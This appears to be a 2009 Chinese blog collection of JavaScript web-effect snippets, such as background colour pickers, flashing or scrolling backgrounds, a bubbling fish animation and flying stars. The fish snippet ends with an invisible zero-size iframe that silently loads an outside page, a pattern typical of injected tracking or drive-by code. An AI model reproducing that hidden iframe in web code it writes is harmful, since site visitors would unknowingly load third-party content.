Tue

03

Mar

2009

30、可选择的背景颜色

30、可选择的背景颜色

<script language="JavaScript">

<!--

done = 0;

step = 4

function anim(yp,yk)

{

if(document.layers) document.layers["napis"].top=yp;

else  document.all["napis"].style.top=yp;

if(yp>yk) step = -4

if(yp<60) step = 4

setTimeout('anim('+(yp+step)+','+yk+')', 35);

}

function start()

{

if(done) return

done = 1;

if(navigator.appName=="Netscape") {

document.napis.left=innerWidth/2 - 145;

anim(60,innerHeight - 60)

}

else {

napis.style.left=11;

anim(60,document.body.offsetHeight - 60)

}

}

//-->

</script>

<div id="napis"

style="position: absolute;top: -50;

color: #000000;font-family:宋体;font-size:9pt;">

</div><script language="JavaScript">

<!--

setTimeout('start()',10);

//-->

</script>

<script language="JavaScript">

<!-- Begin

function initArray() {

for (var i = 0; i < initArray.arguments.length; i++) {

this[i] = initArray.arguments[i];

}

this.length = initArray.arguments.length;

}

var colors = new initArray(

"#000000","#0000FF","#80FFFF","#80FF80","#FFFF00","#FF8000","#FF00FF","#FF0000"

);

delay = 100

link = 0;

vlink = 0;

function linkDance() {

link = (link+1)%colors.length;

vlink = (vlink+1)%colors.length;

document.linkColor = colors[link];

document.vlinkColor = colors[vlink];

setTimeout("linkDance()",delay);

}

linkDance();

// End -->

</script>

<script>

function colors(c1){

this.c1 = c1;

}

a00 = new colors("FFFBD0");

a01 = new colors("FF0000");

a02 = new colors("FF8080");

a03 = new colors("FF8000");

a04 = new colors("FFFF00");

a05 = new colors("000080");

a06 = new colors("0000FF");

a07 = new colors("008000");

a08 = new colors("00FF00");

a09 = new colors("804000");

a10 = new colors("808000");

a11 = new colors("000000");

a12 = new colors("FFFFFF");

a13 = new colors("C0C0C0");

a14 = new colors("408080");

a15 = new colors("808080");

a16 = new colors("D2BF51");

a17 = new colors("44BBE8");

a18 = new colors("C97AB9");

a19 = new colors("A2C97A");

a20 = new colors("804000");

a21 = new colors("6AE6C4");

a22 = new colors("33A3D1");

a23 = new colors("6C9AEE");

function changebg(type){

scheme = type;

document.bgColor = scheme.c1;

timerID=setTimeout('document.bgColor = scheme.c2', document.selector.value * 10);

}

</script>

<form NAME="selector">

<p><input TYPE="button" onClick="changebg(a00)" style="background-color: rgb(255,251,208)"><input

TYPE="button" onClick="changebg(a01)" style="background-color: rgb(255,0,0)"><input

TYPE="button" onClick="changebg(a02)" style="background-color: rgb(255,128,128)"><input

TYPE="button" onClick="changebg(a03)" style="background-color: rgb(255,128,0)"><input

TYPE="button" onClick="changebg(a04)" style="background-color: rgb(255,255,0)"><input

TYPE="button" onClick="changebg(a05)" style="background-color: rgb(0,0,128)"><input

TYPE="button" onClick="changebg(a06)" style="background-color: rgb(0,0,255)"><input

TYPE="button" onClick="changebg(a07)" style="background-color: rgb(0,128,0)"><input

TYPE="button" onClick="changebg(a08)" style="background-color: rgb(0,255,0)"><input

TYPE="button" onClick="changebg(a09)" style="background-color: rgb(128,0,0)"><input

TYPE="button" onClick="changebg(a10)" style="background-color: rgb(128,128,0)"><input

TYPE="button" onClick="changebg(a11)" style="background-color: rgb(0,0,0)"><input

TYPE="button" onClick="changebg(a12)" style="background-color: rgb(255,255,255)"><input

TYPE="button" onClick="changebg(a13)" style="background-color: rgb(192,192,192)"><input

TYPE="button" onClick="changebg(a14)" style="background-color: rgb(64,128,128)"><input

TYPE="button" onClick="changebg(a15)" style="background-color: rgb(128,128,128)"><input

TYPE="button" onClick="changebg(a16)" style="background-color: rgb(210,191,81)"><input

TYPE="button" onClick="changebg(a17)" style="background-color: rgb(68,187,232)"><input

TYPE="button" onClick="changebg(a18)" style="background-color: rgb(201,122,185)"><input

TYPE="button" onClick="changebg(a19)" style="background-color: rgb(162,201,122)"><input

TYPE="button" onClick="changebg(a20)" style="background-color: rgb(106,230,196)"><input

TYPE="button" onClick="changebg(a21)" style="background-color: rgb(194,219,185)"><input

TYPE="button" onClick="changebg(a22)" style="background-color: rgb(51,163,209)"><input

TYPE="button" onClick="changebg(a23)" style="background-color: rgb(108,154,238)"> </p>

</form>

 

0 Comments

Tue

03

Mar

2009

29、下拉列表直接选择背景

29、下拉列表直接选择背景

<html>

 

<head>

<title>网页特效---下拉列表直接选择背景</title>

<style type="text/css">BODY {

       FONT-FAMILY: "宋体"; FONT-SIZE: 9pt; MARGIN-LEFT: 4px; MARGIN-RIGHT: 0px; MARGIN-TOP: 0px

}

A {

       COLOR: black; FONT-SIZE: 9pt; FONT-WEIGHT: 400; TEXT-DECORATION: none

}

A:hover {

       COLOR: red; FONT-SIZE: 9pt; FONT-WEIGHT: 400; TEXT-DECORATION: underline

}

A:active {

       COLOR: #ff0033; CURSOR: hand; FONT: 9pt "宋体"

}

</style>

<meta content="text/html; charset=gb2312" http-equiv="Content-Type">

<script language="JavaScript">

 

<!--

 

image1= new Image();

 

image1.src = "images/SHU.JPG";

 

image2= new Image();

 

image2.src = "images/A.GIF";

 

image3= new Image();

 

image3.src = "images/B.jpg";

image4= new Image();

 

image4.src = "images/C.jpg";

 

 

 

function imgchange(){

 

       var imageNum =  document.form.selImage.selectedIndex + 1;

 

       fname = eval("image" + imageNum + ".src")

 

      

document.body.background =  eval("image" + imageNum + ".src")

//eval(imgName + ".src");

}

 

//-->

 

</script>

 

</head>

 

<body bgColor="#FEF4D9">

<font color="red" face="隶书" size="6">

 

<p align="center"></font><font COLOR="#000000"> </font></p>

 

<p align="center"><font face="隶书" size="5" color="#0000FF"><strong>下拉列表直接选择背景</strong></font></p>

 

<p align="center"> </p>

<div align="center"><center>

 

<table border="1" borderColor="#0000FF" borderlight="green" height="150" width="410" bordercolorlight="#00FFFF" bordercolordark="#0000FF" style="border-collapse: collapse" cellpadding="0" cellspacing="0">

<TBODY>

  <tr>

    <td align="middle" height="24" width="404"><strong><font color="red" size="5">  </font><font 

    face="宋体" size="3" color="#0000FF">一般网页的背景图片都是设计时设置的,在浏览时不能改动,这里提供一个可以浏览时通过下拉列表动态改变背景的特效,在下面由列表选择图片项目后,再单击“显示”按钮,可以使窗口动态改变背景,使网页更有交互性。</font></strong></td> 

  </tr> 

  <tr> 

    <td align="center" height="114" width="404"><form name="form"> 

      <p align="center"><select name="selImage" size="1"> 

        <option selected value="欢迎光临 请选择背景">欢迎光临 请选择背景</option> 

        <option value="蓝天白云">蓝天白云</option> 

        <option value="鹅卵石">鹅卵石</option> 

        <option value="石块">石块</option> 

      </select><input onclick="imgchange()" type="button" value="显示"> </p> 

    </form> 

    <p> </td> 

  </tr> 

</TBODY> 

</table> 

</center></div> 

 

</body> 

</html>

 

0 Comments

Tue

03

Mar

2009

28、背景快速闪烁代码

28、背景快速闪烁代码

<style type="text/css">

<!--

body {  font-family: "宋体"; font-size: 9pt; margin-top: 0px; margin-left: 0px; margin-right: 0px}

A { COLOR: black; FONT-SIZE: 9pt; FONT-WEIGHT: 400; TEXT-DECORATION: none }

 A:hover { COLOR: red; FONT-SIZE: 9pt; FONT-WEIGHT: 400; TEXT-DECORATION: underline }

a:active     { font: 9pt "宋体"; cursor: hand; color: #FF0033 }

-->

</style>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<SCRIPT LANGUAGE="JavaScript">

 

<!-- Hide from old browsers

var Color= new Array(9);

Color[1] = "ff";

Color[2] = "ee";

Color[3] = "dd";

Color[4] = "cc";

Color[5] = "bb";

Color[6] = "aa";

Color[7] = "99";

Color[8] = "88";

Color[9] = "77";

Color[10] = "66";

Color[11] = "55";

Color[12] = "44";

Color[13] = "33";

Color[14] = "22";

Color[15] = "11";

Color[16] = "00";

/* Do not display text on a fading background. Instead, let it

fade in and out once or twice, then load a new page.        */

function fadeIn(where) {

if (where >= 1) {

document.bgColor="#" + Color[where] +"0000";  

where -= 1;

setTimeout("fadeIn("+where+")", 15);

} else {

setTimeout('fadeOut(1)', 15);

   }

}

function fadeOut(where) {

if (where <=16) {

document.bgColor="#" + Color[where] +"0000";

where += 1;

setTimeout("fadeOut("+where+")", 15)

} else {

setTimeout("fadeIn(16)", 15);

// window.location.href="http://www.netscape.com/";

   }

}

// Unhide -->

</SCRIPT>

</head>

 

<body onLoad="fadeIn(16)">

 

 

<center>

 <SCRIPT LANGUAGE="JavaScript">

 

<!-- hide

 

function goHist(a)

 

{

 

   history.go(a);

 

}

 

//-->

 

</script></center>

<br>

<br>

 

0 Comments

Tue

03

Mar

2009

27、滚动条改变背景的特效

27、滚动条改变背景的特效

<html>

<title>网页特效代码--滚动条调制并改变背景的特效</title>

<head>

<STYLE type=text/css>BODY {

       MARGIN: 25px 25px 25px

}

#all TD {

       FONT-SIZE: 12px; LINE-HEIGHT: 15px; FONT-FAMILY: "Verdana", "Arial","新宋体", "宋体"

}

INPUT {

       FONT-SIZE: 12px; LINE-HEIGHT: 15px; FONT-FAMILY: "Verdana", "Arial","新宋体", "宋体"

}

SELECT {

       FONT-SIZE: 12px; LINE-HEIGHT: 15px; FONT-FAMILY: "Verdana", "Arial","新宋体", "宋体"

}

P {

       FONT-SIZE: 12px; LINE-HEIGHT: 15px; FONT-FAMILY: "Verdana", "Arial","新宋体", "宋体"

}

TEXTAREA {

       FONT-SIZE: 12px; LINE-HEIGHT: 15px; FONT-FAMILY: "Verdana", "Arial","新宋体", "宋体"

}

 

#all A:active {

       COLOR: #7d070c

}

#all A:visited {

       COLOR: #7d070c

}

 

#all A:hover {

       COLOR: #336699

}

#all A:link {

       COLOR: #7d070c

}

</STYLE>

<SCRIPT language=JavaScript>

<!--

 

function MM_goToURL() { //v3.0

  var i, args=MM_goToURL.arguments; document.MM_returnValue = false;

  for (i=0; i<(args.length-1); i+=2) eval(args[i]+".location='"+args[i+1]+"'");

}

function JM_cc(ob){

var obj=MM_findObj(ob); if (obj) {

obj.select();js=obj.createTextRange();js.execCommand("Copy");}

}

 

function MM_findObj(n, d) { //v4.0

  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {

    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}

  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];

  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);

  if(!x && document.getElementById) x=document.getElementById(n); return x;

}

//-->

</SCRIPT>

<META content="Microsoft FrontPage 6.0" name=GENERATOR>

<style>.drag {

       CURSOR: hand; POSITION: relative

}

</style>

</HEAD>

<BODY id=all text=#000000 bgColor=#336699>

      <table width="100%" border="0" cellpadding="8" height="124">

        <tr>

          <td align="center" height="17">

          </td>

        </tr>

        <tr>

          <td bgcolor="#f7f7f7" height="71">

            <p>

              <script language=JavaScript1.2>

// Slider script by Ronald H. Jankowsky (http://www.lovehy.com), parts of code (draglayer, movelayer) by DynamicDrive.com

// This script is free for use, please leave this notice intact

var sPosition;

var showPerc=100;

document.onmousedown=dragLayer

document.onmouseup=new Function("dragMe=false")

 

var Color= new Array();

Color[0] = "00";

Color[1] = "11";

Color[2] = "22";

Color[3] = "33";

Color[4] = "44";

Color[5] = "55";

Color[6] = "66";

Color[7] = "77";

Color[8] = "88";

Color[9] = "99";

Color[10] = "AA";

Color[11] = "BB";

Color[12] = "CC";

Color[13] = "DD";

Color[14] = "EE";

Color[15] = "FF";

 

// Demofunction to change bg-color by moving slider

var rVal,gVal,bVal, cCol

function chgBg() {

       cCol = document.bgColor; rVal=cCol.substr(1,2); gVal=cCol.substr(3,2); bVal=cCol.substr(5,2);

       ind = Math.round(showPerc/16); if (ind < 0) ind = 0; if (ind > 15) ind=15;

// If more sliders are used, each of them has to be handled separately

       if (kObj.id =="knobImg") document.bgColor="#"+Color[ind]+gVal+bVal;

       if (kObj.id =="knobImg1")  document.bgColor="#"+rVal+Color[ind]+bVal;

       if (kObj.id =="knobImg2")  document.bgColor="#"+rVal+gVal+Color[ind];

}

 

// Drag and move engine (original code by DynamicDrive.com), don't change unless explicitely indicated

var dragMe=false, kObj, yPos,direction

function moveLayer() {

if (event.button==1 && dragMe) {

       oldY = kObj.style.pixelTop; kObj.style.pixelTop=temp2+event.clientY-yPos;

// Limit movement of knob to stay inside layer

       if (kObj.style.pixelTop > oldY) direction="dn"; else direction="up";

       if (kObj.style.pixelTop < 2 && direction=="up") {kObj.style.pixelTop=2; direction="dn";}

       if (kObj.style.pixelTop > 102 && direction=="dn") {kObj.style.pixelTop=102; direction="up";}

// Set working variable 'showPerc' depending on 100 or 250 scaling

       sPosition=kObj.style.pixelTop; showPerc = (perCent[0].checked) ? sPosition-2 : (sPosition-2)/2*5;

// The following line should be replaced by the function-call with the actual task to perform

       chgBg();

       return false; }

}

function dragLayer() {

if (!document.all) return;

if (event.srcElement.className=="drag")    {dragMe=true; kObj=event.srcElement; temp2=kObj.style.pixelTop; yPos=event.clientY; document.onmousemove=moveLayer; }

}

</script>

              提示:这是一个颜色的调节器,现在本例子只简单的改变了背景的颜色,你完全可以将这使用方法应用到如聊天室的字体颜色等程序上,可以让你的应用增添色彩.<script language="JavaScript">

document.write("<font color=#7d070c style=\"font-size: 14px\">"+document.title+"</font>");

</script><input

type=radio value=false name=perCent>

              Prozent 

              <input type=radio CHECKED value=true 

name=perCent>

              255</p>

            <div id=outerLyr 

style="Z-INDEX: 1; LEFT: 233px; WIDTH: 23px; POSITION: absolute; TOP: 111px; HEIGHT: 120px; BACKGROUND-COLOR: #000000"><img 

class=drag id=knobImg 

style="Z-INDEX: 3; LEFT: 2px; WIDTH: 20px; TOP: 100px; HEIGHT: 17px" 

src="../tempimgs/js/knob.jpeg"> 

              <div id=innerLyr 

style="Z-INDEX: 2; LEFT: 2px; WIDTH: 20px; POSITION: absolute; TOP: 2px; HEIGHT: 117px; BACKGROUND-COLOR: #777777"> 

                <div id=barLyr 

style="Z-INDEX: 1; LEFT: 9px; WIDTH: 2px; POSITION: absolute; TOP: 5px; HEIGHT: 110px; BACKGROUND-COLOR: #000000"></div>

              </div>

            </div>

            <div id=outerLyr1 

style="Z-INDEX: 1; LEFT: 268px; WIDTH: 23px; POSITION: absolute; TOP: 111px; HEIGHT: 120px; BACKGROUND-COLOR: #000000"><img 

class=drag id=knobImg1 

style="Z-INDEX: 3; LEFT: 2px; WIDTH: 20px; TOP: 100px; HEIGHT: 17px" 

src="../tempimgs/js/knob.jpeg"> 

              <div id=innerLyr1 

style="Z-INDEX: 2; LEFT: 2px; WIDTH: 20px; POSITION: absolute; TOP: 2px; HEIGHT: 117px; BACKGROUND-COLOR: #777777"> 

                <div id=barLyr1 

style="Z-INDEX: 1; LEFT: 9px; WIDTH: 2px; POSITION: absolute; TOP: 5px; HEIGHT: 110px; BACKGROUND-COLOR: #000000"></div>

              </div>

            </div>

            <div id=outerLyr2 

style="Z-INDEX: 1; LEFT: 300px; WIDTH: 23px; POSITION: absolute; TOP: 111px; HEIGHT: 120px; BACKGROUND-COLOR: #000000"><img 

class=drag id=knobImg2 

style="Z-INDEX: 3; LEFT: 2px; WIDTH: 20px; TOP: 100px; HEIGHT: 17px" 

src="../tempimgs/js/knob.jpeg"> 

              <div id=innerLyr2 

style="Z-INDEX: 2; LEFT: 2px; WIDTH: 20px; POSITION: absolute; TOP: 2px; HEIGHT: 117px; BACKGROUND-COLOR: #777777"> 

                <div id=barLyr2 

style="Z-INDEX: 1; LEFT: 9px; WIDTH: 2px; POSITION: absolute; TOP: 5px; HEIGHT: 110px; BACKGROUND-COLOR: #000000"></div>

              </div>

              <!-- This would be a way to configure if slider range is 0-100 or 0-255 -->

            </div>

          </td>

        </tr>

      </table>

</head>

</html>

 

0 Comments

Tue

03

Mar

2009

25、背景斜向移动代码1

25、背景斜向移动代码1

<html>

 

<head>

<title>网页特效---背景斜向移动</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

</head>

 

<body bgcolor="#FFFFFF" background="images/bg.gif">

 

<script language="Javascript">

<!--

function selectAll(theField){

var tempval=eval("document."+theField)

tempval.focus()

tempval.select()

}

//-->

</script>

 

 

<script language="Javascript">

<!--

var background = "images/bg.gif";

var speed = 0;

 

browserName = navigator.appName;

browserVer = parseInt(navigator.appVersion);

 

if (browserName != "Netscape" || browserVer >= 4.5) {

 

function moveback(movert,movedn,hPos,vPos) {

 

if (arguments[4])

document.body.style.backgroundImage = "url(\"" + arguments[4] + "\")";

 

if (arguments[5])

document.body.style.backgroundRepeat = arguments[5]

 

if (!isNaN(hPos)) {

if ((movert!=0) && (hPos>0)) hPos=-100000

hPos += movert

}

if (!isNaN(vPos)) {

if ((movedn!=0) && (vPos>0)) vPos=-100000

vPos+= movedn

}

 

document.body.style.backgroundPosition= hPos + " " + vPos

if (isNaN(hPos)) hPos = "\"" + hPos + "\""

if (isNaN(vPos)) vPos = "\"" + vPos + "\""

setTimeout("moveback("+movert+","+movedn+","+hPos+","+vPos+")",speed)

}

 

moveback(1,1,0,0, background);

}

 

//-->

    </script>

    </body>

</html>

 

0 Comments

Tue

03

Mar

2009

26、背景斜向移动代码?2

26、背景斜向移动代码?2

<html>

 

<head>

<title>网页特效---背景斜向移动</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

</head>

 

<body bgcolor="#FFFFFF" background="images/bg.gif">

 

<script language="Javascript">

<!--

function selectAll(theField){

var tempval=eval("document."+theField)

tempval.focus()

tempval.select()

}

//-->

</script>

 

 

<script language="Javascript">

<!--

var background = "images/bg.gif";

var speed = 0;

 

browserName = navigator.appName;

browserVer = parseInt(navigator.appVersion);

 

if (browserName != "Netscape" || browserVer >= 4.5) {

 

function moveback(movert,movedn,hPos,vPos) {

 

if (arguments[4])

document.body.style.backgroundImage = "url(\"" + arguments[4] + "\")";

 

if (arguments[5])

document.body.style.backgroundRepeat = arguments[5]

 

if (!isNaN(hPos)) {

if ((movert!=0) && (hPos>0)) hPos=-100000

hPos += movert

}

if (!isNaN(vPos)) {

if ((movedn!=0) && (vPos>0)) vPos=-100000

vPos+= movedn

}

 

document.body.style.backgroundPosition= hPos + " " + vPos

if (isNaN(hPos)) hPos = "\"" + hPos + "\""

if (isNaN(vPos)) vPos = "\"" + vPos + "\""

setTimeout("moveback("+movert+","+movedn+","+hPos+","+vPos+")",speed)

}

 

moveback(1,1,0,0, background);

}

 

//-->

    </script>

    </body>

</html>

 

 

0 Comments

Tue

03

Mar

2009

24、背景随机变化特效

24、背景随机变化特效

将如下代码加入HTML<HEAD>区:

 

<script LANGUAGE="JavaScript">

bg = new Array(2); //设定图片数量,如果图片数为3,这个参数就设为2,依次类推

bg[0] = 'bg1.gif'  //显示的图片路径,可用http://

bg[1] = 'bg2.gif'

bg[2] = 'bg3.gif'

index = Math.floor(Math.random() * bg.length);

document.write("<BODY BACKGROUND="+bg[index]+">");

</script>

0 Comments

Tue

03

Mar

2009

23、页面游动吐泡小鱼

23、页面游动吐泡小鱼

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>页面游动吐泡小鱼——网页特效代码(www.7stk.com) </title>

</head>

 

<body onLoad="Start()">

<script language="JavaScript">

<!--

Image0=new Image();

Image0.src="http://www.7stk.com/beijing/sto/2006515152552219.GIF";

Amount=12;

Pics=new Array();

Load=new Array();

Ypos=new Array();

Xpos=new Array();

Speed=new Array();

Rate=new Array();

Grow=new Array();

Step=new Array();

Cstep=new Array();

NsSize=new Array();

Ns=(document.layers)?1:0;

Pos=-1;

Jog=1;

Timer=null;

for(i=0; i <= 6; i++){

Pics[i]="http://www.7stk.com/beijing/sto/sto/0427"+i+".gif";

}

function PreLoad(){

for(i=0; i < Pics.length; i++){

 Load[i]=new Image();

 Load[i].src=Pics[i];

 }

}

PreLoad();

Strt=0-(Load[0].width+50);

function AniFish(){

Pos+=Jog;

if (Pos >= Pics.length) Pos=0;

if (Ns) document.nfish.document.images.nframe.src=Pics[Pos];

else document.images.iframe.src=Pics[Pos];

Timer=setTimeout('AniFish()',50)

}

function MoveFish(){

H=(document.layers)?window.innerHeight+window.pageYOffset:window.document.body.clientHeight+document.body.scrollTop;

W=(document.layers)?window.innerWidth+window.pageXOffset:window.document.body.clientWidth+document.body.scrollLeft;

Strt-=2;

if (Strt < 0-(Load[0].width)) Strt=W;

if (Ns){document.nfish.left=Strt;document.nfish.top=H-(Load[0].height+10)}

else {ifish.style.left=Strt;ifish.style.top=H-(Load[0].height+10)}

setTimeout('MoveFish()',10)

}

H2=(document.layers)?window.innerHeight:window.document.body.clientHeight;

 for (i=0; i < Amount; i++){

 Ypos[i]=Math.random()*H2-50;

 Xpos[i]=-50;

 Speed[i]=Math.random()*10+1;

 Cstep[i]=0;

 Step[i]=Math.random()*0.1+0.05;

 Grow[i]=4;

 NsSize[i]=Math.random()*4+6;

 Rate[i]=Math.random()*0.5+0.1;

 }

if (Ns){

for (i = 0; i < Amount; i++){

document.write("<layer name='sn"+i+"' left=0 top=-50><img src="+Image0.src+" name='N' width="+NsSize[i]+" height="+NsSize[i]+"></layer>");

}

document.write("<layer name='nfish' left=0 top=-50><img src='0.gif' name='nframe'></layer>");

}

else{

document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');

for (i = 0; i < Amount; i++){

document.write('<img id="si" src="'+Image0.src+'" style="position:absolute;top:-100px;left:0px;filter:alpha(opacity=90)">');

}

document.write('</div></div>');

document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">'

+'<img id="ifish" src="0.gif" name="iframe" style="position:absolute;top:-100px;left:0px"></div></div>');

}

function Bubbles(){

Hs=(document.layers)?window.pageYOffset:document.body.scrollTop;

Ws=(document.layers)?window.pageXOffset:document.body.scrollLeft;

for (i=0; i < Amount; i++){

sy = Speed[i]*Math.sin(270*Math.PI/180);

sx = Speed[i]*Math.cos(Cstep[i]*5);

Ypos[i]+=sy;

Xpos[i]+=sx;

if (Ypos[i] < -40){

if (Ns) {Ypos[i]=document.nfish.top;Xpos[i]=document.nfish.left}

else {Ypos[i]=ifish.style.pixelTop;Xpos[i]=ifish.style.pixelLeft}

Speed[i]= 6+Math.random()*3;

Grow[i]=4;

NsSize[i]=Math.random()*4+6;

}

if (Ns){

document.layers['sn'+i].left=Xpos[i]+Ws;

document.layers['sn'+i].top=Ypos[i]+Hs;

}

else{

si[i].style.pixelLeft=Xpos[i]+Ws;

si[i].style.pixelTop=Ypos[i]+Hs;

si[i].style.width=Grow[i];

si[i].style.height=Grow[i];

}

Grow[i]+=Rate[i];

Cstep[i]+=Step[i];

if (Grow[i] > 15) Grow[i]=16;

}

setTimeout('Bubbles()',10);

}

function Start(){

AniFish();

MoveFish();

Bubbles();

}

//-->

</script>

</body>

 

</html>

</td>

              </tr>

       </table>

</div>

</body>

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

</html>

 

0 Comments

Tue

03

Mar

2009

22、星星从背景中飞出

22、星星从背景中飞出

<html>

<head>

<title>网页特效www.7stk.com---星星从背景中飞出</title>

<style type="text/css">

<!--

body {  font-family: "宋体"; font-size: 9pt; margin-top: 0px; margin-left: 4px; margin-right: 0px}

A { COLOR: black; FONT-SIZE: 13px; FONT-WEIGHT: 400; TEXT-DECORATION: none }

 A:hover { COLOR: red; FONT-SIZE: 13px; FONT-WEIGHT: 400; TEXT-DECORATION: underline }

a:active     { font: 9pt "宋体"; cursor: hand; color: #FF0033 }

--></style>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<style type="text/css">

.star {

position:absolute;

layer-background-color:white;

visibility:visible;

top:-50px;

width:50px;

height:50px;

font-size:1px;

background-color:white;

}

</style>

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

var starnum = 75; // Number of stars

var isNS = (document.layers);

var _all = (isNS)? '' : 'all.';

var _style = (isNS) ? '' : '.style';

var xoffset, yoffset, w_x, w_y, tmpx, tmpy, scrlx, scrly;

function getstartpos(obj) {

obj.deltay = Math.floor(Math.random() * 12);

obj.deltax = Math.floor(Math.random() * 12);

obj.xdir = (Math.floor(Math.random() * 2) == 1) ? '+' : '-';

obj.ydir = (Math.floor(Math.random() * 2) == 1) ? '+' : '-';

obj.counter = 1;

if (isNS) {

obj.clip.width = 1;

obj.clip.height = 1;

obj.moveTo(xoffset+pageXOffset, yoffset+pageYOffset);

} else {

obj.width = 1;

obj.height = 1;

obj.pixelTop = yoffset+document.body.scrollTop;

obj.pixelLeft = xoffset+document.body.scrollLeft;

   }

}

function movestar(starN) {

tmpx = starN.deltax*starN.counter+starN.counter;

tmpy = starN.deltay*starN.counter+starN.counter;

if (isNS) {

starN.clip.width = starN.counter / 3;

starN.clip.height = starN.counter / 3;

scrlx = pageXOffset;

scrly = pageYOffset;

if ((starN.left+tmpx >= w_x+scrlx) || (starN.top+tmpy >= w_y+scrly) || (starN.left-tmpx <= scrlx) || (starN.top-tmpy <= scrly)) {

getstartpos(starN);

} else {

eval('starN.moveBy('+starN.xdir+tmpx+', '+starN.ydir+tmpy+')');

   }

} else {

starN.width = starN.counter/3;

starN.height = starN.counter/3;

scrlx = document.body.scrollLeft;

scrly = document.body.scrollTop;

if ((starN.pixelLeft+tmpx >= w_x+scrlx)||(starN.pixelTop+tmpy >= w_y+scrly) || (starN.pixelLeft-tmpx <= scrlx)||(starN.pixelTop-tmpy <= scrly)) {

getstartpos(starN);

} else {

eval('starN.pixelTop'+starN.ydir+'=tmpy');

eval('starN.pixelLeft'+starN.xdir+'=tmpx');

   }

}

starN.counter++;

}

function animate() {

for(i=1; i <= starnum; i++) {

movestar(eval('star'+i));

}

setTimeout('animate()', 100);

}

function findwindowparams() {

w_x = (isNS) ? window.innerWidth : document.body.clientWidth;

w_y = (isNS) ? window.innerHeight : document.body.clientHeight;

xoffset = w_x / 2;

yoffset = w_y / 2;

for (i = 1; i <= starnum; i++) {

getstartpos(eval('star'+i));

   }

}

function resizeNS() {

setTimeout('document.location.reload()', 400);

}

(isNS) ? window.onresize = resizeNS : window.onresize = findwindowparams;

window.onload = new Function("findwindowparams(); animate();");

//  End -->

</script>

 

</head>

 

<body bgcolor=black>

<br>

<br>

<center><font color=red face="隶书" size=6>星星从背景中飞出</font></center>

<br>

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

for (i = 1; i <= starnum; i++) {

document.writeln('<div id="star'+i+'" class="star"></div>');

eval('var star'+i+'=document.'+_all+'star'+i+_style);

}

// End -->

</script>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

<center>

<SCRIPT LANGUAGE="JavaScript">

 

<!-- hide

function goHist(a)

{

   history.go(a);

}

//-->

</script>

</center>

<br>

<center>

 <br>

<br>

</body>

</html>

0 Comments

Tue

03

Mar

2009

21、页面鼠标幻影文字

21、页面鼠标幻影文字

<body>

 

 

<DIV ID = "x", STYLE = "position: absolute; filter: glow(strength = 3, color = red)">网页特效代码天地</DIV>

<DIV ID = "x1", STYLE = "position: absolute; filter: glow(strength = 3, color = blue)">希望你有所收获</DIV>

<DIV ID = "x2", STYLE = "position: absolute; filter: glow(strength = 3, color = blue)">欢迎来7色天空做客</DIV>

<DIV ID = "x3", STYLE = "position: absolute; filter: glow(strength = 3, color = red)">欢迎来7色天空做客</DIV>

<DIV ID = "x4", STYLE = "position: absolute; filter: glow(strength = 3, color = green)">欢迎来7色天空做客</DIV>

<DIV ID = "x5", STYLE = "position: absolute; filter: glow(strength = 3, color = green)">欢迎来7色天空做客</DIV>

<DIV ID = "x6", STYLE = "position: absolute; filter: glow(strength = 3, color = purple)">欢迎来7色天空做客</DIV>

<DIV ID = "x7", STYLE = "position: absolute; filter: glow(strength = 3, color = purple)">欢迎来7色天空做客</DIV>

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

function mover()

{

document.all.x.style.left = event.clientX;

document.all.x.style.top = event.clientY;

document.all.x1.style.top = event.clientX;

document.all.x1.style.left = event.clientY;

document.all.x2.style.top = event.clientX;

document.all.x2.style.right = event.clientY;

document.all.x3.style.right = event.clientX;

document.all.x3.style.top = event.clientY;

document.all.x4.style.bottom= event.clientX;

document.all.x4.style.right = event.clientY;

document.all.x5.style.bottom= event.clientX;

document.all.x5.style.left = event.clientY;

document.all.x6.style.left= event.clientX;

document.all.x6.style.bottom = event.clientY;

document.all.x7.style.right= event.clientX;

document.all.x7.style.bottom = event.clientY;

}

document.onmousemove=mover;

//  End -->

</script>

 

 

0 Comments

Tue

03

Mar

2009

20、蛇形文字网页代码

20、蛇形文字网页代码

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

var your_message="erererererererererererererererererererererererererererer"

var textfont="宋体"

var textsize="9pt"

var textcolor="#FF6600"

var textboldness=7

var tempo=40

var stepx=30

var stepy=20

var msg=new Array()

var msg=your_message

var message=msg.split("")

var numberofletters=msg.length-1

var x,y

var marginbottom

var marginleft=0

var margintop=0

var marginright

textboldness=textboldness*100

var timer

var xpos=new Array()

var ypos=new Array()

var spancontent=new Array()

for (i=0; i<=numberofletters;i++) {xpos[i]=0; ypos[i]=0}

for (i=0;i<=numberofletters;i++) {

       spancontent[i]="<span style='position:relative;font-family:"+textfont+";font-size:"+textsize+";color:"+textcolor+";font-weight:"+textboldness+"'>"+message[i]+"</span>"}

function setValues() {    var firsttimer= setTimeout("setValues2()",200)}

function setValues2() {

       if (document.all) {marginbottom = document.body.clientHeight-5; marginright = document.body.clientWidth-5;

              for (i=0;i<=numberofletters;i++) {var thisspan = eval("document.all.span"+i); thisspan.innerHTML=spancontent[i];

                     var thisspan = eval("document.all.span"+(i)+".style"); thisspan.posLeft=0;

                     thisspan.postop=0               }            moveball()      }

       if (document.layers) {

           marginbottom = window.innerHeight-10; marginright = window.innerWidth-10;

